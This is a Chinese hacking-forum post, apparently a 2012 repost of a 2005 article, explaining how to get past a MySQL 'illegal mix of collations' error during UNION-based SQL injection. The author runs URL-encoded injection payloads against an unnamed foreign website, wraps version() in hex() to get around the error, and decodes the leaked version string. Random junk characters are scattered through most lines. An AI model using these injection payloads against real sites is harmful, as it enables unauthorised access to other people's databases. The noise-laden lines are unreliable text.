找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2111|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei
5 ~, A, z. y, T+ T4 r文章性质:原创6 b, P* f/ |% t- V5 ?
发布日期:2005-10-18# w' z4 R" z7 W* d
测试个国外的站时:7 N& \% R. b( ]* X0 H8 j
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*, i% U6 V( N, Y+ J
返回错误:* Q- v/ l3 g+ D9 o' l9 _' h
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
! W2 f+ G" Q& Z( Q" I! Q6 E+ z7 \MySQL Error No. 126
/ C0 [/ A6 q# x. ^' y  U, C, z. e看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
- r4 J  n' N' e' L/ X解决办法:转为其他编码如hex。
- ]2 Q; J( g. burl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*7 ]( \+ n  g; _( c
成功得到hex(version())的值为:7 r, E' X  I6 a0 ~( ^
342E312E332D62657461
- X( x1 @  |" V4 }回Mysql查询下得到:/ \% t0 M& S5 ]: |, C( E
mysql> select 0x342E312E332D62657461;# n! `4 W: C1 W
+------------------------+
3 u; M! e, ~* L* b6 q9 r| 0x342E312E332D62657461 |
3 U/ V0 @) T# K+------------------------+# v9 L4 Y+ @* z: G1 W  {- w
| 4.1.3-beta |
/ G: |# Z5 K5 g4 D; D8 t+------------------------+* s* A4 G. Y2 w- P* ^8 q3 I8 |
1 row in set (0.00 sec)9 ?& g9 t$ K0 L
# ^( ]6 {! ^" V) m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表